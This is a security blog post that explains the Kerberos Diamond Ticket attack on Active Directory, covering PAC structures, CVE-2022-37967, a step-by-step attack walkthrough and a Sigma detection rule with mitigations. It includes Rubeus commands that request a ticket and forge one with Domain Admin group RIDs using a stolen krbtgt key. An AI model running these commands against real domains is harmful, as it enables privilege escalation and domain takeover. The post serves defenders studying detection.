Kerberos Diamond Ticket: Deconstructing TGT Forgery Architecture

Md. Redwan Ahmed Md. Redwan Ahmed
·
Kerberos Diamond Ticket: Deconstructing TGT Forgery Architecture

Overview & Threat Landscape: Kerberos Ticket Forgery Evolution & MITRE T1558.001#

Kerberos Diamond Tickets modify KDC-issued TGT PACs using the KRBTGT key, evading Golden Ticket detection. Enforce strict PAC validation now.

In Windows Active Directory environments, the Kerberos authentication protocol (RFC 4120, MS-KILE) serves as the bedrock for enterprise identity, mutual authentication, and authorization delegation. When a client authenticates to the Key Distribution Center (KDC) running on a Domain Controller, the KDC issues a Ticket Granting Ticket (TGT) containing an embedded Privilege Attribute Certificate (PAC) (MS-PAC). The PAC encapsulates the user's Security Identifier (SID), group memberships (including Domain Admins RID 512), and security flags, signed by the KDC using the secret key of the krbtgt account.

For over a decade, the Golden Ticket attack (mapped to MITRE ATT&CK T1558.001) reigned as the apex persistence technique in compromised Active Directory forests. Once an adversary dumped the krbtgt NTLM hash or AES key, they could construct a completely synthetic TGT from scratch, injecting arbitrary group SIDs and issuing tickets valid for up to 10 years.

graph TD
    subgraph "KERBEROS TICKET FORGERY EVOLUTION SPECTRUM"
        direction TB
        item_1["Golden Ticket (2014)<br/>Synthetic TGT created from scratch (NO 4768)"]
        item_2["Silver Ticket (2015)<br/>Forged Service Ticket using service key (No KDC)"]
        item_3["Diamond Ticket (2022)<br/>Genuine TGT modified in-place (HAS EVENT 4768)"]
        item_4["Sapphire Ticket (2022)<br/>S4U2self PAC graft without KRBTGT encryption"]
        item_1 --> item_2
        item_2 --> item_3
        item_3 --> item_4
    end

However, the defensive landscape evolved rapidly. Modern Identity Threat Detection and Response (ITDR) platforms and Security Operations Center (SOC) detection rules reliably identify traditional Golden Tickets due to blatant telemetry discrepancies:

  1. The Missing Event ID 4768 Anomaly: A golden ticket appears suddenly in service ticket requests (Event ID 4769 - A Kerberos service ticket was requested) without any preceding authentication ticket request (Event ID 4768 - A Kerberos authentication ticket was requested).
  2. Ticket Lifetime & Policy Violations: Synthetic tickets frequently feature arbitrary validity periods (e.g., 10 years) that blatantly violate the domain's MaxTicketAge policy (default 10 hours).
  3. Cryptographic & Timestamp Mismatches: Nonce generation, cipher suite negotiation (downgrading to RC4-HMAC etype 23), and missing or unaligned pre-authentication metadata expose synthetic tickets to behavioral detection.

The Diamond Ticket Paradigm Shift#

To defeat behavioral ITDR heuristics, security researcher Charlie Clark unveiled the Diamond Ticket attack (Semperis Research). Instead of forging a TGT from scratch, the adversary requests a completely legitimate, authentic TGT from the KDC for a standard, low-privileged domain user account via standard AS-REQ.

graph TD
    subgraph "THE DIAMOND TICKET ADVANTAGE"
        direction TB
        step_1["1. Request legitimate TGT via AS-REQ ➔ KDC logs genuine Event 4768"]
        step_2["2. Intercept AS-REP and decrypt EncTicketPart using KRBTGT AES Key"]
        step_3["3. Modify embedded PAC: Append Domain Admins RID 512 to GroupIds"]
        step_4["4. Recalculate PAC Server, KDC, and Ticket Checksum signatures"]
        step_5["5. Re-encrypt EncTicketPart with KRBTGT key and submit in TGS-REQ"]
        step_1 --> step_2
        step_2 --> step_3
        step_3 --> step_4
        step_4 --> step_5
    end

Because the outer ticket was genuinely issued by the Domain Controller, the Diamond Ticket exhibits perfect forensic fidelity:

  • A valid Event ID 4768 exists on the Domain Controller corresponding to the exact timestamp of issuance.
  • All ticket flags, encryption types (AES-256 etype 18), and Kerberos policy lifetimes conform 100% to the target domain's Active Directory configuration.
  • When presented to the KDC in a subsequent TGS-REQ, the modified PAC unlocks full Domain Admin authorization while bypassing legacy Golden Ticket detection rules.

Vulnerability & Attack Root-Cause Analysis: MS-PAC Structure and CVE-2022-37967#

To understand why Diamond Ticket forging succeeds, security architects must deconstruct the internal data structures of the Kerberos Ticket Granting Ticket, the Privilege Attribute Certificate (PAC), and the cryptographic validation changes introduced by Microsoft under CVE-2022-37967 and CVE-2022-37966 (KB5020805).

1. Anatomy of the Ticket Granting Ticket (TGT)#

A Kerberos TGT is structured under ASN.1 DER encoding as specified in RFC 4120:

PLAINTEXT 
Ticket ::= [APPLICATION 1] SEQUENCE {
    tkt-vno         [0] INTEGER (5),
    realm           [1] Realm,
    sname           [2] PrincipalName (krbtgt/DOMAIN.COM),
    enc-part        [3] EncryptedData -- Encrypted with KRBTGT Key
}

When the KDC receives an AS-REQ with valid pre-authentication, it encrypts the EncTicketPart using the secret key of the krbtgt account. Inside EncTicketPart, the KDC places the session key, validity timestamps, client principal name, and authorization-data:

C 
// Decompiled representation of EncTicketPart (RFC 4120 / MS-KILE)
typedef struct _EncTicketPart {
    TicketFlags     flags;
    EncryptionKey   key;             // Ephemeral logon session key
    Realm           crealm;          // Client realm (e.g., CONTOSO.COM)
    PrincipalName   cname;           // Client account (e.g., standard_user)
    TransitedEncoding transited;
    KerberosTime    authtime;
    KerberosTime    starttime;
    KerberosTime    endtime;         // authtime + 10 hours
    KerberosTime    renew_till;      // authtime + 7 days
    AuthorizationData authorization_data; // Contains MS-PAC
} EncTicketPart;

2. The Internal Anatomy of MS-PAC and Validation Signatures#

The authorization_data field contains an AD-IF-RELEVANT container wrapping the PAC (MS-PAC Section 2.3). The PAC is composed of multiple buffers prefixed by a PAC_HEADER:

graph TD
    subgraph "PRIVILEGE ATTRIBUTE CERTIFICATE"
        direction TB
        step_1["1. PAC_LOGON_INFO (KERB_VALIDATION_INFO): SIDs, Group Memberships, User RIDs"]
        step_2["2. PAC_CLIENT_INFO: Client ID and Authentication Timestamp"]
        step_3["3. PAC_SERVER_SIGNATURE: Checksum of PAC signed with Server Key (KRBTGT Key)"]
        step_4["4. PAC_KDC_SIGNATURE: Checksum of Server Signature signed with KDC Key (KRBTGT)"]
        step_5["5. PAC_ATTRIBUTES_INFO: Bitmask flags (PacWasRequested, PacWasSigned)"]
        step_6["6. PAC_TICKET_CHECKSUM (CVE-2022-37967): Cryptographic binding of PAC to TGT"]
        step_1 --> step_2
        step_2 --> step_3
        step_3 --> step_4
        step_4 --> step_5
        step_5 --> step_6
    end

The KERB_VALIDATION_INFO Structure

The core payload determining authorization is PAC_LOGON_INFO (KERB_VALIDATION_INFO), which contains the user's membership tokens:

C 
typedef struct _KERB_VALIDATION_INFO {
    FILETIME LogonTime;
    FILETIME LogoffTime;
    FILETIME KickOffTime;
    FILETIME PasswordLastSet;
    FILETIME PasswordCanChange;
    FILETIME PasswordMustChange;
    RPC_UNICODE_STRING EffectiveName;
    RPC_UNICODE_STRING FullName;
    RPC_UNICODE_STRING LogonScript;
    RPC_UNICODE_STRING ProfilePath;
    RPC_UNICODE_STRING HomeDirectory;
    RPC_UNICODE_STRING HomeDirectoryDrive;
    USHORT LogonCount;
    USHORT BadPasswordCount;
    ULONG UserId;                      // Client RID (e.g., 1104)
    ULONG PrimaryGroupId;              // Default: 513 (Domain Users)
    ULONG GroupCount;                  // Number of group memberships
    PGROUP_MEMBERSHIP GroupIds;        // Array of { RelativeId, Attributes }
    ULONG UserFlags;
    USER_SESSION_KEY UserSessionKey;
    RPC_UNICODE_STRING LogonServer;
    RPC_UNICODE_STRING LogonDomainName;
    PISID LogonDomainId;               // Domain SID (S-1-5-21-...)
    // ... Additional fields: ResourceGroupIds, ExtraSids
} KERB_VALIDATION_INFO;

PAC Signatures & The CVE-2022-37967 Ticket Checksum

To prevent unauthorized tampering, the PAC contains cryptographic signatures:

  1. Server Signature (SignatureType = 0xFFFFFF76 / KERB_CHECKSUM_HMAC_SHA1_96_AES256): A keyed hash computed over all PAC buffers preceding the signature, signed with the server's key (for a TGT, this is krbtgt).
  2. KDC Signature: A keyed hash computed over the Server Signature buffer, signed with the KDC's master key (also krbtgt).
  3. Ticket Checksum (PAC_TICKET_CHECKSUM): Introduced to fix CVE-2022-37967, this buffer stores an HMAC checksum of the EncTicketPart excluding the PAC itself. It cryptographically couples the PAC to the specific outer ticket, preventing attackers from grafting a legitimate PAC from one ticket into another.

The Root Cause Architectural Flaw

The fundamental reason Diamond Ticket forging is viable lies in symmetric key equivalence:

  • The attacker holds the KRBTGT AES-256 key.
  • The KRBTGT key is used both to encrypt the EncTicketPart AND to compute the PAC_SERVER_SIGNATURE, PAC_KDC_SIGNATURE, and PAC_TICKET_CHECKSUM.
  • Therefore, possession of the KRBTGT key gives the attacker the mathematical power to decrypt the legitimate ticket, modify GroupIds inside KERB_VALIDATION_INFO (appending RID 512 for Domain Admins), recalculate all three HMAC signatures, and re-encrypt the ticket without triggering cryptographic rejection.

Exploit Architecture: Diamond Ticket vs Golden Ticket Sequence Flows#

The sequence diagram below contrasts the telemetry footprint of a Legacy Golden Ticket Attack against the stealthy execution flow of a Diamond Ticket Attack.

sequenceDiagram
    autonumber
    participant Attacker as Adversary
    participant DC as Domain Controller (KDC)
    participant TargetService as Target Server (CIFS/LDAP)
    participant SIEM as SOC SIEM / ITDR

    Note over Attacker, SIEM: SCENARIO A: LEGACY GOLDEN TICKET (HIGHLY DETECTABLE)
    Attacker->>Attacker: 1. Forge synthetic TGT completely offline using KRBTGT hash
    Note over Attacker, DC: ZERO AS-REQ sent to KDC. NO Event ID 4768 logged!
    Attacker->>DC: 2. Submit synthetic TGT in TGS-REQ for CIFS service
    DC-->>SIEM: 3. Telemetry Anomaly: Event ID 4769 occurs with NO prior 4768!
    SIEM-->>SIEM: 4. ALERT: Golden Ticket Heuristic Triggered (Missing AS-REQ)
    DC-->>Attacker: 5. Issue Service Ticket (Attacker flagged)

    Note over Attacker, SIEM: SCENARIO B: DIAMOND TICKET ATTACK (STEALTH PERSISTENCE)
    Attacker->>DC: 6. Legitimate AS-REQ for standard user (standard_user)
    DC-->>DC: 7. Validate credentials & issue authentic TGT
    DC-->>SIEM: 8. Legitimate Event ID 4768 logged (Normal audit event)
    DC-->>Attacker: 9. Return legitimate AS-REP with authentic TGT
    Note over Attacker: Offline Modification Phase (Using Stolen KRBTGT AES Key)
    Attacker->>Attacker: 10. Decrypt EncTicketPart using KRBTGT AES-256 key
    Attacker->>Attacker: 11. Parse MS-PAC and modify KERB_VALIDATION_INFO
    Attacker->>Attacker: 12. Append Domain Admins RID 512 to GroupIds array
    Attacker->>Attacker: 13. Recalculate Server, KDC, and Ticket Checksums
    Attacker->>Attacker: 14. Re-encrypt EncTicketPart with KRBTGT AES-256 key
    Note over Attacker, TargetService: Service Ticket Request with Diamond TGT
    Attacker->>DC: 15. Submit Diamond TGT in TGS-REQ for cifs/dc01.contoso.com
    DC->>DC: 16. Decrypt TGT with KRBTGT key & validate PAC signatures (PASS)
    DC-->>SIEM: 17. Log Event ID 4769 (Preceded by genuine Event 4768!)
    DC-->>Attacker: 18. Issue elevated Service Ticket with Domain Admin PAC
    Attacker->>TargetService: 19. Authenticate via AP-REQ and achieve Domain Takeover

Attack Path Step-by-Step: From AS-REQ to Domain Admin TGS (MITRE T1558)#

Understanding the step-by-step operational mechanics allows threat hunters and detection engineers to identify the forensic markers left during each stage of diamond ticket crafting.

graph TD
    subgraph "DIAMOND TICKET 5-STAGE ATTACK LIFECYCLE"
        direction TB
        node_1["1. Reconnaissance<br/>Harvest Domain SID & KRBTGT AES-256 Key"]
        node_2["2. Legitimate AS<br/>Request genuine TGT (Logs Event ID 4768 on DC)"]
        node_3["3. PAC Decryption<br/>Decrypt EncTicketPart using KRBTGT Key"]
        node_4["4. PAC Injection<br/>Inject RID 512 & recompute HMAC-SHA1 signatures"]
        node_5["5. Elevation TGS<br/>Present Diamond TGT to KDC in TGS-REQ"]
        node_1 --> node_2
        node_2 --> node_3
        node_3 --> node_4
        node_4 --> node_5
    end

Phase 1: Target Reconnaissance and KRBTGT Key Extraction#

An adversary who has achieved prior Tier-0 access (e.g., via DCSync, NTDS.dit extraction, or DPAPI master key dumping) harvests the domain SID and the AES-256 key of the krbtgt account:

POWERSHELL 
# Administrative verification of KRBTGT encryption types and domain SID
Import-Module ActiveDirectory

# Retrieve the Domain SID
$DomainSID = (Get-ADDomain).DomainSID.Value
Write-Host "[+] Domain SID: $DomainSID"

# Verify KRBTGT account encryption settings
Get-ADUser -Identity "krbtgt" -Properties msDS-SupportedEncryptionTypes, MemberOf | 
    Select-Object Name, SID, msDS-SupportedEncryptionTypes

The adversary verifies that AES-256 (etype 18) is supported to ensure the forged ticket matches modern Kerberos policy standards.

Phase 2: Requesting an Authentic Ticket Granting Ticket (AS-REQ)#

The adversary initiates a completely standard Kerberos AS-REQ exchange using an unprivileged, active domain account (standard_user). This step generates authentic KDC telemetry on the Domain Controller:

BASH 
# Requesting a genuine TGT from the KDC (e.g., via Rubeus or kinit)
# This generates an authentic Event ID 4768 in the Security event log on the DC
Rubeus.exe asktgt /user:standard_user /domain:contoso.com /password:UserPassword123! /enctype:aes256 /nowrap

Windows Security Event Log Output on the Domain Controller:

PLAINTEXT 
Event ID: 4768 (A Kerberos authentication ticket (TGT) was requested)
Account Information:
    Account Name:        standard_user
    Supplied Realm Name: CONTOSO.COM
    User ID:             S-1-5-21-1234567890-1234567890-1234567890-1104
Service Information:
    Service Name:        krbtgt
    Service ID:          S-1-5-21-1234567890-1234567890-1234567890-502
Network Information:
    Client Address:      ::ffff:10.0.10.45
    Client Port:         54212
Certificate Information:
    Ticket Options:      0x40810010
    Result Code:         0x0 (Success)
    Ticket Encryption:   0x12 (AES256-CTS-HMAC-SHA1-96)

The Domain Controller records a 100% genuine logon event with legitimate IP, port, and ticket options.

Phase 3: Decrypting EncTicketPart with the KRBTGT Key#

The adversary takes the raw base64-encoded TGT received in the AS-REP and decrypts the EncTicketPart using the stolen krbtgt AES-256 key:

flowchart TD
    node_1["Raw TGT Ticket (AS-REP)"] -->|"AES256-CTS Decryption (krbtgt Key)"| node_2["EncTicketPart ASN.1 Structure"]
    node_2 --> node_3["AuthorizationData: MS-PAC"]

Phase 4: PAC Modification and Cryptographic Signature Recalculation#

Inside the decrypted EncTicketPart, the adversary locates the PAC_LOGON_INFO structure. The attacker executes three surgical modifications:

  1. Append Domain Admin RID: In KERB_VALIDATION_INFO, the adversary increments GroupCount and appends a GROUP_MEMBERSHIP element:
    • RelativeId: 512 (Domain Admins)
    • Attributes: 0x00000007 (SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED)
  2. Optionally Append Enterprise Admin RID: If targeting the forest root, appends RelativeId: 519 (Enterprise Admins) to ExtraSids.
  3. Recalculate All PAC Signatures: The adversary recomputes the HMAC-SHA1 checksums using the krbtgt AES key:
    • Recomputes PAC_SERVER_SIGNATURE over all PAC buffers.
    • Recomputes PAC_KDC_SIGNATURE over the Server Signature buffer.
    • Recomputes PAC_TICKET_CHECKSUM (introduced in CVE-2022-37967) over the modified EncTicketPart.
  4. Re-encrypt EncTicketPart: The entire EncTicketPart is re-encrypted using the krbtgt AES-256 key, preserving the original session key, client name, and timestamps.

Phase 5: Presenting the Diamond TGT in a TGS-REQ#

The adversary now injects the modified Diamond TGT into the Kerberos credential cache and submits a standard TGS-REQ for a target service (e.g., cifs/dc01.contoso.com):

BASH 
# Submitting the Diamond TGT to obtain a Service Ticket (TGS)
Rubeus.exe diamond /user:standard_user /domain:contoso.com /password:UserPassword123! /ticketuser:standard_user /groups:512,519 /krbkey:KRBTGT_AES256_KEY_HEX /service:cifs/dc01.contoso.com /ptt

KDC Validation Logic

When the Domain Controller receives the TGS-REQ:

  1. It uses its own krbtgt key to decrypt the outer TGT. Decryption succeeds.
  2. It validates the timestamps against the domain clock skew. Timestamps are valid.
  3. It validates PAC_SERVER_SIGNATURE, PAC_KDC_SIGNATURE, and PAC_TICKET_CHECKSUM. Signatures are mathematically valid.
  4. It reads the PAC, observes that the user holds membership in Domain Admins (512), and issues a Service Ticket (Event ID 4769) with full administrative privileges!

Production Detection Artifact: Sigma Rule for Diamond Ticket Anomaly Hunting#

Because Diamond Tickets generate a legitimate Event ID 4768, detection cannot rely on missing authentication logs. Instead, blue teams must detect the asymmetry between the user's authentic Active Directory group membership and the groups requested in subsequent service tickets (Event ID 4769).

YAML 
title: Potential Kerberos Diamond Ticket Privilege Elevation
id: f3b9a821-4d1e-47c0-8a2b-9e5d1c3a7042
status: production
description: |
  Detects potential Kerberos Diamond Ticket attacks by identifying Kerberos Service Ticket (TGS)
  requests for privileged administrative services originating from standard user accounts 
  that do not legitimately belong to Domain Admins, Enterprise Admins, or Schema Admins.
references:
  - https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/
  - https://unit42.paloaltonetworks.com/next-gen-kerberos-attacks/

tags:
  - attack.credential_access
  - attack.t1558.001
  - attack.privilege_escalation
  - attack.t1548
logsource:
  product: windows
  service: security
detection:
  selection_event:
    EventID: 4769
  selection_target_services:
    ServiceName|startswith:
      - 'krbtgt'
      - 'cifs/'
      - 'ldap/'
      - 'host/'
      - 'RPCSS/'
  selection_encryption:
    TicketEncryptionType: '0x12'  # AES256-CTS-HMAC-SHA1-96
  selection_high_value_targets:
    ServiceName|contains:
      - 'dc01'
      - 'dc02'
      - 'domaincontroller'
  # Filter out known, authorized Domain Admin accounts
  filter_known_admins:
    TargetUserName|startswith:
      - 'da_'
      - 'adm_'
      - 'sa_'
    TargetUserName|endswith: '$'  # Computer accounts
  condition: selection_event and selection_target_services and selection_encryption and selection_high_value_targets and not filter_known_admins
fields:
  - TimeCreated
  - TargetUserName
  - ServiceName
  - TicketOptions
  - TicketEncryptionType
  - IpAddress
  - IpPort
falsepositives:
  - Legitimate administrative user accounts lacking standardized naming conventions.
level: high

Fast Cyber Defense Morning Takeaways: Mitigation Matrix & Evening Preview#

🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Active Directory Kerberos: PAC Validation & Diamond Ticket Defense.

Executive Takeaway Table#

Attack Vector Detection Signal Primary Mitigation
Traditional Golden Ticket Event ID 4769 (TGS-REQ) without preceding Event ID 4768 (AS-REQ); anomalous ticket lifetimes Rotate krbtgt password twice; monitor missing 4768 events via SIEM
Diamond Ticket PAC Modification Standard user account issuing elevated TGS requests (Event ID 4769) to DC replication/admin services Enforce Full PAC Signature Validation (KB5020805 / CVE-2022-37967 Enforcement Mode)
Sapphire Ticket (S4U2self Graft) Discrepancy between S4U2self impersonation events and user logon context Restrict Kerberos delegation; enforce Protected Users security group
KRBTGT Key Extraction (DCSync) Directory Service Replication requests (Event ID 4662 / DS-Replication-Get-Changes-All) from non-DCs Remove unprivileged replication permissions; deploy canary accounts

What to Prepare for Tonight's Blue Team Defense Guide#

In tonight's edition (EDITION 2: Systems & Platform Engineering / Blue Team Defense Guide), we will pivot from ticket modification mechanics to enterprise identity protection:

  • The Double KRBTGT Password Rollover Protocol: Step-by-step PowerShell automation to safely reset the krbtgt password twice while preserving replication stability and invalidating all historical TGTs.
  • Enforcing PAC Signature Validation (CVE-2022-37967 / KB5020805): Configuring Active Directory Domain Controller registry keys (PacSignatures = 2) to enforce Full Audit & Enforcement mode, rejecting any PAC lacking valid ticket signatures.
  • Active Directory Protected Users Security Group: Enforcing the Protected Users container to disable RC4-HMAC, constrain TGT lifetimes strictly to 4 hours, and block delegation.
  • SIEM Telemetry Reconciliation: Engineering KQL and Splunk queries that cross-correlate Active Directory LDAP group membership against Kerberos ticket session SIDs in real time.

Authoritative References#

  1. Semperis Active Directory Research: A Diamond Ticket in the Ruff: Exploring Modern Kerberos Persistence — Semperis Blog
  2. Palo Alto Networks Unit 42: Precious Gemstones: The New Generation of Kerberos Attacks — Unit 42 Threat Research
  3. Microsoft Protocol Documentation: MS-PAC: Privilege Attribute Certificate Data Structure Specification — Microsoft Learn
  4. Microsoft Security Advisory KB5020805: How to manage Kerberos protocol changes related to CVE-2022-37967 — Microsoft Support
  5. Huntress Threat Research: Recutting the Kerberos Diamond Ticket: OPSEC Considerations and EDR Evasion — Huntress Blog

Comments

Post a Comment

Drag or use arrow keys to pan • Click outside or press Esc to close